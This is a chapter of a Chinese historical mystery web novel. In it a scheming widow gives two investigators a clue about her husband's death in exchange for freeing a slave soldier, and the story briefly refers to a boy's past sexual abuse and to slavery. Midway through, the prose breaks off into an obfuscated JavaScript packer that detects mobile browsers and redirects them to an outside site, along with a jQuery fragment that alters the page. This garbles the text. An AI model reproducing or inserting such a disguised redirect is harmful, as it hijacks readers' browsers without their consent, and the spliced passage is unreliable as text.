故而,魏王氏认为,说含光是魏府上仅存的“唯一”,是一点儿也不为过。 “七年前,家父一纸婚约,将我许给已逝的夫君为妾,”魏王氏抬眼,眼神涣散地看向窗外,视线被一层华贵且厚实的绢布所阻,她的思绪如飘渺的烟雾般,缓缓飘回那段尘封的过往,“亡夫远道而来,至縠州迎我,我们途径芦蒿县时,仅比亡夫小一岁的含光还是当地县令府上的一名娈童。” “那时,含光虽然长相清秀,但是面黄肌瘦、瘦骨嶙峋,每日皆要忍受府上那位刁钻刻薄、心如蛇蝎的老夫人毫无缘由的打骂与折磨,每夜还要遭受那老县令的狎昵与调戏,那日子,过得连府上的牲畜都不如,”魏王氏蹙了蹙眉,略微停顿了一下,似是在思索过往的事,“在县令府上借住那几日,我曾亲眼目睹过一次,那县令夫人的随从手上没个轻重,险些将含光溺死在井边的水桶中。当时,老县令就躲在他的书房中,若非亡夫恰巧经过,厉声喝止了那些恶仆。离开时,又强行从老县令手中,将含光讨要过来。可以说,若不是亡夫将他带至绾昔,只怕他早已是一具无人问津的白骨,被人随意地丢弃在某一条泛着恶臭的沟渠中,此生再无缘可见天日。” 在说到含光若不是被魏凡所救,便已化作一抔黄土时,魏王氏的眼眸稍微明亮了几分,带有一抹高高在上的戏谑之色。 “救命之恩,岂是滴水之恩?且不提涌泉相报,但凡是有点良心的人,就绝无可能对自己的恩人痛下杀手,更何况这位恩人还是自己的衣食父母,给予自己尊严与地位的主人?”魏王氏微抬下巴,眼中流露出几分笃定,她自恃与含光相处了整整七年,身边人的品性如何,她还不至于老眼昏花、看走了眼,“更何况,含光与亡夫无冤无仇。就算他心生歹念,一时行差踏错,害了亡夫,他也逃不出魏府的高墙深院。一个世世代代,都烙印上魏奴身份的人,除了魏家,他还能去哪儿?我想若不是同魏家与亡夫有着不共戴天的血海深仇,院里的奴婢、侍从,断无一人会做出弑主叛主这般大逆不道之事!” 此时,窗外的树枝在一阵妖异的狂风中疯狂地摇摆,发出“沙沙”的声响,好似在附和着魏王氏的话语。 是啊! 为奴为婢者,世世代代皆为奴为婢。 在旗国的律令里,奴仆不过是主子身上的一件“衣服”、手中的一个“玩意儿”。 他们是“家产”、是“牲口”,却唯独不算是“人”。 所以,主子可以随意处罚自己家中的任何一个奴仆,无论男女,是打骂苛责也罢,是赠送亵玩也好,这是主子们天生就拥有的权利。 以至于,主子若要是失手,不小心打死了一个没有过错的奴仆,那也不过是被藤条抽一百鞭子的事情。 可若是一个奴仆打伤了主子…… 34.獚顺 屋内,斑驳陆离的光影在众人那神态各异的眉眼间摇曳不定。 柳悬波澜不惊,他从容且漠然地聆听着魏王氏的辩驳,全然不像宋旌那般一脸惊诧,嘴唇微张,满眼尽是不可思议之色。 这偌大的旗国,想必只有这般不拘小节的宋旌才会乐此不疲地去记住一个火长的名讳,才会整日与最底层的士兵们打成一片,不会嫌弃他们灰头土脸,不会在意他们衣着破旧、身有异味,而大多数的将领只会不约而同地选择与团、营以下的士兵们保持一段无法逾越的距离。 毕竟,在他们的眼中,兵卒与奴仆实则为同一类人。 在沙场上,兵卒不顾生死、舍生忘我地冲锋陷阵,可他们的牺牲也只不过是替那些生来便是领袖的将士换来他们的丰功伟绩。 有些人终其一生,不过是个没有品阶的火长,每一次战役可谓是死里逃生;而有些人连军帐也未踏出半步,只因他有一个同为将领的父辈、祖辈,他便能一路步步高升。 正如每一个座高墙深院里,可以替主子看家、劳作、暖床……甚至是作为一件取悦王公贵族的物品。 他们皆是上位者手中的工具,是世间最微不足道、能任意舍弃的牺牲品。 他们……又有什么本质的区别? 柳悬凝望着魏王氏那一副振振有词的模样,他觉着:魏王氏就像这世间众多天生贵胄,仿佛从娘胎里便带着主宰一切的气息,他们心安理得地沉浸在这个被规训得井井有条的世界中,享受一切既得的荣华富贵。他们穿着的,是绣娘们夜以继日织就的锦衣华服;他们居住的府邸,占地辽阔,十几乃至几十亩良田被几丈高的围墙圈入其中,无数奴仆穿梭其间,侍奉左右,却在魏王氏等人的眼中,不过如无生命的器具一般,从未被当作活生生的人来看待。他们不断传播那些对自己有利的规则与法度,他们企图将这个世界进一步雕琢成他们的掌中之物,让那万代千秋的荣华富贵,如同铁打的山脉一般,得以绵延不绝、永固不衰。 就像魏凡能轻蔑地称含光为“贱种”。 魏王氏或许也从未翻阅过《旗律》中与奴仆相关的篇章,但她那份与生俱来的优越感,却让她毋庸置疑地认为,奴仆杀害主子,简直是天方夜谭,是违背了天地间最理所当然的秩序。 在她看来,奴仆们生来就没有反抗主子的骨气,应无条件地服从主子,这是天经地义,不容置疑的规矩。 此时,柳悬的眸光又深了几分,他已然确信:魏王氏手中必定握着能替蒋礼洗脱嫌疑的关键证据。 柳悬轻挑一侧眉梢,眼中荡开一抹若有似无的温柔笑意,忽然直言不讳道:“依夫人之见,那蒋公子岂非正是杀害魏公子的元凶?” 魏王氏的眼神原本还有些迷离,可当她听见柳悬那一成不变的音调时,她的眸光还是逐渐凝聚起来,仿佛从遥远的回忆中被猛然唤醒。 魏王氏用一只纤细的手臂,无力地撑住额头,一脸心焦力竭之色,她眉宇间那一抹愁绪愈发浓郁,好似一团在水中晕开的墨渍,也不知她从含光的过去联想到了何种隐秘之事。 “郎君真是爱说笑”,魏王氏的声音轻柔细弱,夹杂着一丝无可奈何的疲惫,“妾身不过一介深闺妇人,哪敢妄言高见……” 魏王氏那惯用的寒暄之语甫一脱口而出,她便神色一凛,宛如一只惊慌失措的兔子,猛然意识到柳悬的提问恰好直戳她的心事,精确地命中“靶心”。 魏王氏不自觉地收紧手指,她在垂首之际,强压下内心的慌乱。 深吸一口气,魏王氏又恢复了一贯的从容与镇定。 魏王氏轻扬下巴,笑意吟吟,她仪态万千,耐人寻味地瞧了柳悬一眼,意味深长地说道:“不过,昨日妾身于德馨殿中初闻亡夫竟是蒋公子所伤时,心中着实极为诧异呢~” 柳悬这看似随意的一问,似乎在不经意间,将谈话的主动权又递交回魏王氏的手中。 魏王氏仿佛回到了久违的主场,她顿觉周身无比通畅,一时信心倍增,娇媚地站起身,身姿轻盈得宛如一枝摇曳生姿的牡丹,迈着愉悦的步子,缓缓走至柳悬的身后。 在魏王氏的言辞中,柳悬自然能觉察出那一丝调侃的意味,那分明是在奚落他昨日得出的检验结果。 这一情形,让柳悬内心的猜想得到了进一步的印证。 “哦?” 柳悬轻启薄唇,吐出一字,温和中暗含几分探究之意,宛如古刹中一座慈眉善目的活佛金身,平静、祥和的外表下是一片深不可测的幽涧,令人无法捉摸。 “妾身记得,那约莫是前年盛夏的一个傍晚。”魏王氏在柳悬与宋旌的身后来回踱步,她的步伐不急不缓,仿佛每一步都踏在她早已精心盘算好的棋盘之上。 她一边用余光悄悄扫视着宋旌与柳悬的背影,一边慢条斯理地陈述着:“亡夫那日突然带了个文质彬彬的公子回来,那公子生得一副好相貌,唇红齿白,倒真是个惹人怜爱的主儿。” 魏王氏掩唇浅笑,眼角弯弯,恰似月牙破云而出,她的双肩微微抖动,笑声便从指缝间溜了出来,带着丝丝缕缕撩人心弦的软糯,在空旷的屋内肆意穿梭。 “自那以后,两人便形影不离,时常相携出入玉露坊,好似总有说不完的话。” 说着,魏王氏一手绕过胸下,优雅地托住另一只手的手肘,另一只手则拈着一条绣工精美的丝娟,轻轻抵住下巴。 “时至今日,细细一算,我才发觉亡夫与蒋公子相识之期,已逾两载之久。” 魏王氏的眼中闪过一丝算计,她假意掰着指头算了算,那看似无意的动作却略显做作。 魏王氏语调悠长,带有一丝若有似无的嘲讽,由衷感叹道:“一个刺史之子,一个都尉之子,两位皆是金尊玉贵之身,平日里好得跟一个人似得,时常同榻而眠。” 停顿了片刻之后,魏王氏驻足于柳悬的身后。 她微微颔首,直勾勾地盯着不远处的柳悬,她的唇角飞扬,笑意似盛放的罂粟花般,愈发的诡谲异常。 魏王氏故意嗤笑一声,接着用婉转的语调,向柳悬突然发问道:“郎君说说,这般如胶似漆、难舍难分的‘兄弟情’又怎会平白无故,忽地反目成仇?” 魏王氏这一番话,不出意外地跟昨夜柳悬在八角小楼中反问宋旌的那一段话恰好对应上了,正中宋旌那百思不得其解的关键之处。 显然,魏王氏对魏凡与蒋礼之间那层秘而不宣、纠葛复杂的关系心知肚明,但她依然选择置身事外,仿佛她与魏凡毫无瓜葛一般,一副事不关己、高高挂起的冷漠姿态。 “倘若只是意外呢?” 听到这儿,沉默良久的轻红也忍不住抛出自己的揣测。 轻红微微皱眉,一脸困惑,她着实无法理解魏王氏话中的深意,她只能就着那浅显的表层含义,小心翼翼地试探着解释蒋礼杀害魏凡的种种可能。 “意外?” 魏王氏的反应出奇地迅速,她先是惊问出声,旋即情不自禁地咧嘴大笑。 在意识到自己的失态后,魏王氏又连忙用丝娟虚掩住上扬的唇角,她那双精明透亮的眼眸中,依然闪烁着遮掩不住的戏谑之意。 她望向一旁天真烂漫的轻红,一双笑意盎然的眉眼瞬间弯成了两条细缝。 “一击命中心脏,力道之迅猛,目标之明确,这分明是谋杀,绝非意外所能为之。” 宋旌神色凝重,语气斩钉截铁,他未等魏王氏开口嘲笑轻红的无知,便率先否定了轻红的猜想。 昨夜,宋旌与柳悬一同复原了魏凡的死亡现场。 那场景,至今仍历历在目。 当时,蒋礼卧于魏凡身下,他分明是趁魏凡耽于情事之际,手持刻刀,猛地刺入魏凡的胸腔,而蒋礼持刀刺入魏凡的力道之狠、位置之准,无一不彰显出他那时想要魏凡一击毙命的决心。 “心脏?!” 魏王氏听得宋旌此言,先是微微怔愣一瞬,继而爆发出比先前轻红说“蒋礼刺伤魏凡只是一个意外”时还要尖锐、谐谑的质问声。 魏王氏那刺耳而轻蔑的嘲笑声,令宋旌与轻红的心中不约而同地一紧。 她那满是不可置信的眼神从轻红的身上转移至宋旌的身上,随即,一种不可言状的复杂表情在她的脸上蔓延开来,那表情似惊诧、似讥讽、又似惋惜与同情。 魏王氏忍俊不禁,仿佛欣赏了一出令人啼笑皆非的好戏,她用双手捧住隐隐作痛的肚子,笑得前仰后合、浑身发颤,整个人都散发出一种诡异的欢愉之气。 柳悬就那样不为所动,不动如山地端坐在轮椅上,仿佛周遭的一切都无法撼动他内心的平静。 他伸出一只修长的手,从茶案上重拾起那一碗早已凉透的茶,神色淡漠。 “倒教夫人见笑了。” 在柳悬微微俯首间,一抹浅笑在他的唇边悄然绽放,他的言辞尽管谦卑得仿若一粒尘埃中的微沙,但是他的语气却显得从容不迫。 此言一出,柳悬也不再像方才那般穷追不舍,问题一个接一个地抛出。 此刻,他忽然变得惜字如金,每一个字都吝啬于吐露,态度隐晦,仿佛不愿再表露分毫。 然而,魏王氏却是个心细如发之人。 她从柳悬轻轻端起茶杯的微妙动作中体会出一丝不易察觉的“请”意,那动作寻常而刻意,宛如一缕清风掠过湖面,泛起点点涟漪。 魏王氏直起腰来,深吸一口气,调整好复杂的心绪,随后,用指尖拭去那未干的泪痕。 在这无声的邀请下,魏王氏顺着柳悬那似有似无的指引,朱唇轻启,继续娓娓道来:“若是换作旁人,蒋公子那一刀,或许当真会要人性命,可若是换作亡夫……” 正说到关键之处,魏王氏的声音却陡然一顿,仿佛在有意吊着众人的胃口。 就像孩童逗弄猫咪一样,眼底闪过一丝狡黠的光芒。 突然,魏王氏话锋一转,语气变得高深莫测,引人无限遐想:“两位郎君,可曾听说过那传说中的镜像人?” 魏王氏半眯起双眼,她模仿着说书人的腔调,语调抑扬顿挫,将她自幼从戏本上听来的传闻,一字一句、流畅自如地复述出来:“镜像人,悖天地而降生,得命运之独宠,逆众生之道而行,其身犹如镜中倒影,有违世间之常理。” 魏王氏的话音刚落,柳悬的瞳孔便猛地一颤,倏然抬起眼帘,整个人瞬间警觉起来,周身散发出一股凌冽的气息。 “你是说,魏子谦的心脏,竟自幼生于右侧!?” 宋旌的反应比柳悬更快,也更为激烈。 他怒目圆睁,卒然起身,一掌拍在身旁的茶案上,茶案剧烈震颤,案上那盏为他沏制的茶碗在颠簸了数下后,终是摇摇晃晃,跌落进尘埃里,发出“啪嗒”一声清脆的碎裂声。 宋旌满脸涨得通红,他怒而转身,面向不以为意的魏王氏,厉声喝道:“如此重要的线索!你昨日在德馨殿中,为何只字未提?!缄口不言!?” 宋旌心中怒火中烧,几乎难以遏制。 这魏王氏,明知蒋礼是无端遭人恶意陷害、冤枉,也清楚魏凡胸口的刺伤绝非常理之中的致命伤。 昨日在柳悬查验魏凡的尸身时,她就那样熟视无睹地静立于一侧,一脸漠然。 即使重来一次,她也依旧选择了作壁上观,宁愿事不关己地听着那些荒谬的指控,也不愿为公道正义发出半点声响。 她就那样眼睁睁地瞧着一个无辜之人被肆意污蔑,就连与她朝夕相处了七年的枕边人,她也浑然不在乎,更不想替他查明真凶,以告慰他那含冤而死的亡灵。 “哎哟哟~瞧瞧咱们宋将军这火急火燎的性子哟……”魏王氏娇嗔一声,手中那条浸透了浓浓香气的丝娟轻轻一甩,她身姿妖娆,宛如一条蜿蜒游走的灵蛇般,漫步至宋旌身侧。 她唇角衔笑,媚眼如丝,用那柔得能滴出水来的语调,向仍余怒未消的宋旌低声抱怨着:“要我说啊,宋将军您呐,身为禁军统领,位高权重,在盛京城里,本该是威风八面,谁见了您,不得给您三分薄面儿?可您昨日不过也是一时心善,在大理寺的公堂上,随口替那无辜的蒋公子分辩了几句,却被逼得当堂立下生死状,如今还得为此四处奔波……” 说着,魏王氏故意眨了眨那一双如秋水般清澈的眸子,摆出一副楚楚可怜的娇弱姿态。 “而我呢?”魏王氏轻叹一声,声音里满是无奈,“我只不过是个流落异乡的小寡妇,我一瞧见那问事官身上的官服,就吓得心肝儿颤、腿肚儿软,我又哪敢在他们问话之时,答非所问,擅自胡言乱语呢?” 魏王氏的丝娟在空中划过一道曼妙的轨迹,擦着宋旌的肌肤而过,最终轻飘飘地搭在宋旌身旁那张空无一人的木椅之上,仿佛有意留下一缕余韵。 魏王氏的双手分别撑在空椅椅背的两端,她的身子微微前倾,眼中闪过一丝若有若无的挑衅:“再者说,那大理寺的诸位爷,要是能像两位郎君一样,对此事尽心尽力、心存疑虑,多来这小院里仔细瞧上两眼,他们又怎会觉察不出其中的蹊跷?” 说罢,魏王氏轻抬莲步,似要朝椅子前方的宋旌靠近。 就在魏王氏行至宋旌身侧时,柳悬那清冷且略带质疑与警示的声音冷不防地响起,打断了魏王氏接下来的举动:“夫人何以断言,魏子谦的体魄异于常人?” 柳悬的介入并未让魏王氏放弃一探究竟的念头,反而更加强烈地激发了她的好奇心。 “那自然是……”魏王氏一边不紧不慢地回应着柳悬的问话,一边倾身相靠,仿若一只依偎在花枝上的娇莺,试图将玉软花柔的身子靠在宋旌的臂膀上,那弱柳扶风的模样活脱脱就是那日她靠在魏凡怀里时的小鸟依人状。 然而,宋旌才刚刚感觉到一丝陌生的气息,他便像是被蛇蝎蛰咬了一般,脸色霎时变得惨白,陡然间撤出一大步,动作迅捷,身形矫健,如同躲避一只穷凶极恶的洪水猛兽般,闪身至柳悬身后,双眼圆睁,一脸惊恐地望向魏王氏,那眼神中分明写满了厌恶与排斥。 魏王氏彻底扑了个空,可她却丝毫未显羞恼之色,她勾起一抹玩味的笑意,别有深意地瞧了宋旌一眼,又柔情蜜意地望着柳悬,弯了弯眉眼。 随后,她踏着细碎的步伐,朝着刚刚向她发问的柳悬行去。 宋旌见状,心弦紧绷,又下意识地上前一步,整个人紧张得像是一张被拉至极限的弓。 他硬着头皮,身体僵硬地挡在柳悬的前方,那略显笨拙的姿态中带有一股不容置疑的坚决。 他曾试图在与魏王氏保持距离的前提下,阻拦魏王氏的靠近。 可在魏王氏的眼中,宋旌那克己复礼的阻拦实在是构不成任何的威胁。 她灵巧地穿过宋旌这道防线,一步步向柳悬逼近,在柳悬的身前停下脚步,俯身向前。 “妾身未离闺阁时,曾于家父军中偶闻亡夫随阿翁出征伐鳖,左胸中箭,却犹能安然无恙一事。” 魏王氏的声音是一如既往的平稳,她毫不在意宋旌与轻红用那满是不安与警惕的眼神去打量她,她从容地从柳悬的手中接过那个凉透了的茶碗。 此刻,魏王氏的心中已然有了计较。 她收敛起与宋旌玩闹的心思,变得异常爽快。 她不再与柳悬兜圈子、打哑迷,而是选择直截了当地亮明底牌。 她的眼神坚定而明亮,仿佛在说:我笃定你柳悬即便是得到了这一条至关重要的线索,你也依然会有求于我。 魏王氏端着茶碗,不慌不忙地踱步至风炉旁。 那风炉上的炭火烧得正旺,金鍑中的沸水不停地翻滚着,散发出阵阵热气,与这炎热的夏日显得格格不入。 魏王氏微微弯下腰,她手握茶勺,慢悠悠地从金鍑中舀出几勺沸水,那沸水如飞泉般稳稳落入柳悬的茶碗中,激起一圈圈细腻的涟漪。 “依妾身之拙见,郎君若真想查个真相大白、水落石出,何不将眼光放在含春那贱种与他那不知所踪的‘小媳妇’身上。” 魏王氏一边说着,一边悠然自得地盖上茶盖,手法娴熟地轻轻一摇,瞬间茶香四溢。 “虽说他与含光同属贱籍,但有主的东西与无主的东西,那东西对主子的心思可是大相径庭。”魏王氏顾自说着。 柳悬则默不作声,细细聆听。 柳悬心中明了,魏王氏的言外之意实在是再清楚不过了。 据连松所得的供词所述:含春本是歌舞戏戏班的一名乐伎,去年夏季与妹妹含烟一同被魏凡强行掳入院中。然而,妹妹含烟在年前腊月间突然不知所踪,如今只剩下含春一人在院中伺候魏凡。由于含春与含烟至今仍未到官府中去办理相应的改籍手续,因此含春目前并不属于任何一个特定的主人。尽管他赖以谋生的技艺让他难以被当作良民去看待,仍然被视为贱籍中的乐籍,但他实际上却保持着一具完好的“自由”身。 “常言道,戏中情深戏外薄。”魏王氏笑靥如花,春风得意地绕过宋旌,款款行至柳悬身前。 魏王氏在柳悬的身前盈盈下蹲,动作优雅,行了一个标准的蹲安礼。 她用双手小心翼翼、无比虔诚地捧着那温烫的茶碗,将茶碗高举过额顶,恭恭敬敬地递至柳悬的眼前,仿佛那茶碗中盛得不是普通的茶水,而是她那至诚至真的心意。 “说不定,这背后就藏有那佛口蛇心之人,精心编织了这一场好戏,也犹未可知呢~”魏王氏的声音沉静而轻柔,却带有一丝难以捉摸的韵味,令人不禁心生遐想。 她保持着下蹲的姿势,一动不动,低垂的眉眼间流露出乖巧与驯顺,仿佛一尊静待吩咐的玉雕,只等柳悬从她那双被茶碗烫得微红的指尖中接过那一碗满载着无尽“心意”的热茶。 柳悬微微垂首,目光宛如秋夜月色般清疏孤冷,直直落在魏王氏那熟透了的指尖上,眸光一明一灭间,仿佛深渊在悄无声息地吐息。 “夫人对大理寺诸位郎君皆三缄其口之要事,却愿慷慨相告于我等,想必获此讯息所需付出的代价,必定不菲吧?”柳悬轻抿薄唇,言辞间隐匿着一丝笑意,语气中夹杂着几分玩味与探究。 他只是静静地凝视着那茶碗中袅袅上升的热气,仿佛能从那轻盈的雾气中窥探出什么秘密,却并未伸手去接魏王氏递来的茶碗,就那样,任由那份画蛇添足的暖意在半空中弥漫。 魏王氏的手微微一颤,茶碗中的茶水仿佛受惊的鱼儿般猛地晃动了一下,几滴晶莹剔透的水珠飞溅而出,洒落在干涸的地砖上,顷刻间便没了踪影。 她稳稳地托住茶碗,手中的力道彰显出她心底那一股倔强,她丝毫没有退缩的意思。 在柳悬的注视下,魏王氏的眼中闪过一丝转瞬即逝的紧张,但她强自镇定,又恢复了那一副波澜不惊的神情。 “郎君所言不错。”魏王氏毫不避讳地回应着,没有片刻的犹豫与迟疑。 见柳悬仍未有应承之意,魏王氏索性潇洒起身,径直行至柳悬右侧的茶案旁。 魏王氏将茶碗轻置于茶案上,随后就近落座于本该属于宋旌的木椅上。 “据我所知,当年亡夫被敌军死士刺心而未毙之情景,除却亲眼目睹的沿海将士与我,世间再无旁人知晓此事,”魏王氏抬起右臂,轻轻搭在椅子的扶手上,她斜靠在椅背上,微微侧首,凝望着柳悬,语调不疾不徐,却字字珠玑、铿锵有力,“抑或是说,宋将军能于短短数日之内,跨越千山万水,寻得那万里之遥的证人?亦或是郎君即便空口无凭,也妄图当堂剖开亡夫的尸身,以证蒋公子的清白、无辜?” 魏王氏漫不经心地瞥向宋旌,轻描淡写地提及“万里寻证”与“当堂剖尸”,仿佛那不过是信手拈来的儿戏。 然而,那禇地,乃是魏鹏盘踞多年的老巢,其势力错综复杂、盘根错节,险恶程度,不言而喻。 眼下,魏凡之死是否与朋党之争有关联尚不得而知,但蒋礼涉案,已使此事的性质骤然间发生了翻天覆地的变化。 如此情形下,莫说魏鹏能否让宋旌在茫茫人海中寻得魏王氏所言的证人,即便宋旌真有通天彻地之能,千里迢迢,寻得了证人,他又如何能在五日内,从遥远的禇地,将人顺利带回京都? 这无疑是痴人说梦、异想天开。 再说那当堂剖尸一事。 若魏鹏背后的那一股势力是铁了心要在太子与蒋聪之间挑起事端,那么即便魏鹏心如明镜一般,深知魏凡并非蒋礼所害,他也绝无可能点头应允宋旌当堂剖尸之请。 倘若宋旌一意孤行,敢在魏鹏进京之前擅动魏凡的尸身,那蛮横霸道惯了的魏鹏怕是要怒吼着将宋旌也“剖”个明白,以泄心头之愤。 或许魏王氏正是料到了宋旌会陷入这般绝境,故而她的语气中满是嘲弄与讽刺,眼中亦闪烁着兴致勃勃的光芒。 魏王氏的心里一清二楚,柳悬与宋旌只有短短数日,他们已是山穷水尽,再也寻不到比她更有力的证人证据来揭开魏凡之死的谜团。 而她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740183|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却是这盛京城中唯一能够戳穿谜雾之人,唯有她能证实魏凡之死与蒋礼在魏凡胸前刺的那一刀毫无瓜葛。 “你……!” 宋旌气得面色铁青,青筋暴起,双眼似要喷出火来,他双手紧握成拳,一时被气得发昏,险些就克制不住自己,要冲上去与那放荡又嚣张的女子动手。 就在这千钧一发之际,好在柳悬眼疾手快,主动握住了宋旌的手腕,那力道恰到好处地阻止了宋旌的失控,勉强遏制了宋旌的怒火。 “宋将军,何必如此动怒呢?”魏王氏将双手交叠于胸前,神态慵懒至极,她斜睨了宋旌一眼,眼中满是轻蔑与不屑,俨然一副胜券在握的模样。 她不紧不慢地抬起一只纤纤玉手,指尖轻挑,那修剪得整整齐齐的指甲在阳光下泛着微光。 她狡黠一笑,眼眸眯成了一条缝,目光却直勾勾地望向柳悬,“妾身所求,实则微不足道。” 说罢,魏王氏身形一动,宛如清风拂柳一般,款步走向柳悬身后。 她的眼中闪烁着莫名的光芒,似乎藏着千回百转的算计与不可告人的秘密。 “此事于妾身,犹如攀登绝壁,难如登天;然于宋将军,不过唇齿之间,只言片语即可。”魏王氏的声音不轻不重,却暗含一份无奈与期盼。 正当她伸出一只涂有丹蔻的纤纤玉手,想跟柳悬拉近一些距离,即将搭在柳悬的轮椅上时,宋旌骤然出手,一把扯过柳悬的轮椅,动作迅捷如电。 柳悬端坐于轮椅上,身形未动分毫。 然而,宋旌这一扯,却让柳悬瞬间从背对魏王氏转为面向魏王氏。 柳悬依旧维持着那份处变不惊、心如止水的超然风范,即便面对宋旌那突如其来且异常激烈的拉扯,他也未曾有丝毫的慌乱或狼狈,仿佛早已对宋旌所带来的种种意外与变故习以为常。 “愿闻其详。” 柳悬的声音沉稳而冷冽,从宋旌身前悠悠传来,他岿然不动,好似自带一股无形的威压,令人无法忽视他的存在。 此刻,柳悬并不在意宋旌那些弯弯绕绕的小心思,他只在意魏王氏心中到底藏着什么秘密。 他倒是想知道,究竟是何等要事,能让魏王氏如此煞费苦心、大费周章?又是何种要事,非得“宋将军”亲自出马,且于宋旌而言,处理此事还显得异常轻松? 魏王氏几经试探,也算是从宋旌与柳悬的言行举止间窥出了一丝端倪、瞧出了一些门道。 她看出宋旌对柳悬言听计从,而柳悬相较于宋旌,则更为深藏不露、难以捉摸。 于是,当柳悬那清朗通透的声音在屋内响起时,魏王氏的心中便已然明了:柳悬的态度,无疑就代表了宋旌的态度,而她,自是无需再多言半句。 “家兄麾下,有一家奴,名曰獚顺。” 魏王氏边说边从袖中缓缓抽出一个厚厚的信封,那信封的封面上,“獚顺”二字赫然入目。 “此人自十七岁从军以来,便屡建奇功,可谓是战功赫赫。” 魏王氏将信封郑重其事地放在柳悬的茶碗旁,目光越过柳悬,投向他身后的宋旌,眼中闪过一丝异样的光芒。 “今朝虽仅屈居于一队正之职,但我相信,假以时日,他必能成长为一名独当一面的良将!” 提及“獚顺”之名,魏王氏的脸上便不由自主地流露出一抹难以名状的温柔与欣赏,那动人的神情,像是在追忆一位阔别多年、情深意重的“挚友”,言辞间所透露出的亲昵,早已超越了主仆的界限。 “妾身别无他求,只是怜惜此人空有一腔热血与胆识,却被奴籍所缚,无法大展宏图。” 魏王氏言辞恳切,说到激动处,她忽然上前一步,以前所未有的庄重姿态,径直屈膝跪下。 裙摆轻扬,尘埃微起。 “因此,妾身斗胆,恳请白虎将军能成为他的伯乐,将他提拔至将军麾下的伏方禁军中,赐其良籍,予他一片展翅高飞的广阔天地。” 魏王氏的声音是前所未有的坚定。 言罢,她深弯下腰,向宋旌与柳悬行了一个无比凝重的顿首礼。 宋旌从未受过官家子女这般无缘无故的大礼,一时之间,竟有些手足无措。 他的目光不自觉地投向柳悬,脸上尽显惊愕与不解之色。 柳悬轻摇木轮,靠近茶案,拾起茶碗旁那一封泛黄的信封。 “不过一介家奴,又何须夫人行此隆重之礼?” 柳悬的轮椅在沉寂而紧张的屋内发出细微的“吱嘎”声响。 他勾起一抹淡笑,嗓音如清冽的山涧泉水般悦耳动听,“只是柳某不明,令尊乃縠州司马,令兄亦是缂州折冲府中,率领三百铁骑的校尉,夫人夫家阿翁更是折冲府都尉,这般显赫身世,夫人若意欲为一家奴脱籍,岂不是探囊取物?又何须舍近求远,丢下灶王拜山神?” 柳悬的三言两语,瞬间刺破了魏王氏的伪装,令她的脸颊染上了一抹绯红。 魏王氏也未曾料到,柳悬对她的家世竟如数家珍,了如指掌。 魏王氏的眼中出现了刹那的慌乱,旋即又恢复了最初的平静,“郎君何须多问?郎君只需知晓,家父家兄绝非愚钝之人,必不会、亦不敢阻挠宋将军便是。” “至于蒋公子一事,”魏王氏的声音戛然而止,她微微一顿,似是在认真斟酌每一个即将吐露的字,“倘若宋将军今日愿暂存此物,待他日妾身重返禇地前,将军能加盖徽印于其上,妾身愿以身家性命为誓约,甘愿当庭陈情,力证蒋公子之清白。” 魏王氏目光灼灼地望着柳悬。 柳悬将手中的信封放在阳光下,翻来覆去地瞧了瞧。 他用指尖撬开那已略显斑驳的封蜡。 随着封蜡从封口处脱落,他抽出了其中的纸张。 那几张泛黄的纸页上,密密麻麻地记载着一位小卒在七年间用血肉铸就的所有功绩。 这些大大小小的功绩,虽然算不得惊天动地,却也如繁星点点,足以照亮他一路攀升至校尉这一有品级、官阶的征程。 然而,令人诧异的是,他至今仍屈居于队正之职,仿佛纸上所记载的功绩皆不过是一纸空文。 柳悬的视线在纸页间快速游走。 当他的目光落在最后一张纸上时,那张魏王氏渴求宋旌加盖徽印的军令跃然入目。 军令中,魏王氏特意强调,要将那名为獚顺的小卒改为良籍,并封为伏方禁军十二军中金鳞军下奇兵营的校尉。 只是,这张军令还缺少一个至关重要的落款,所以一直无法公之于众。 柳悬细细品味着信中的每一句话,对魏王氏为何不惜一切、费尽心力地向宋旌求助,心中已有了几分猜测。 旗国军队,号称“神威军”,其最高统帅是幸帝顾锦城,其次才是天赐将军宋言章。 神威军下,又分为伏方禁军、丹野禁军、东宫禁军、各地方军与边防军,他们各司其职,如众星拱月。 其中,伏方禁军分为十二军,其最高统领是御赐称号为“白虎将军”的宋旌,伏方禁军既可抵御外敌、征战四方,也可平定内乱、剿灭匪寇,是旗国神威军中势力颇为强悍的一支军队;而丹野禁军则是守护皇城的一道防线,他们暂无统帅,直接听命于圣上;至于东宫禁军,则如其名所示,直接受太子管辖,专职负责确保东宫内外的安危。 正应了那句“天高皇帝远”,在神威军的庞大体系中,地方军与边防军犹如一群脱缰的野马,凭借着他们地处偏远、监管不易的地理优势,愈发得难以管控。 魏鹏,身为地方军的一员,理论上应归宋言章统辖。 然而,强龙难压地头蛇,近年来,各地地方军隐隐有脱离神威军管控之势,他们或明或暗地扩充势力,不断挑战以宋言章为首的神威军之权威。 魏王氏或许已经洞察了地方军中日趋抱团的苗头,意识到在地方军中,以獚顺的身份,将永无出头之日,因此,她唯独向宋旌一人求助,便是打算让獚顺彻底脱离地方军的掌控。 如魏王氏所期盼的那般,柳悬果真未再多言半句。 他只是默默地将那几张泛黄的信纸沿着已有的痕迹,仔细折好,塞进了原本的信封之中,随后又将信封掖入袖袋深处。 这一系列干脆利落的动作,仿佛在无声地向众人宣告,他已默许了魏王氏的请求。 轻红见状,连忙上前,双手扶住魏王氏的臂膀,将她从地面上搀扶起来。 魏王氏缓缓起身,眼中满是感激之色。 她望着面前一脸淡然自若的柳悬,又瞥见一旁满心疑惑、眉心紧锁的宋旌。 心中不禁暗自思量,她也不明白自己偏信这位文弱儒生,究竟是不是一个明智之举? 不过,出于一种不可言说的直觉,以及她对儒士重诺如金的深深信任,她还是打消了心中的最后一丝顾虑。 魏王氏轻叹一声,重新落座于那张空置的玫瑰椅上。 在经历了一番明里暗里的博弈后,双方勉强算是达成了合作。 柳悬在辞别魏王氏之前,本想趁机再深入挖掘那夜突如其来的走水是何缘由。 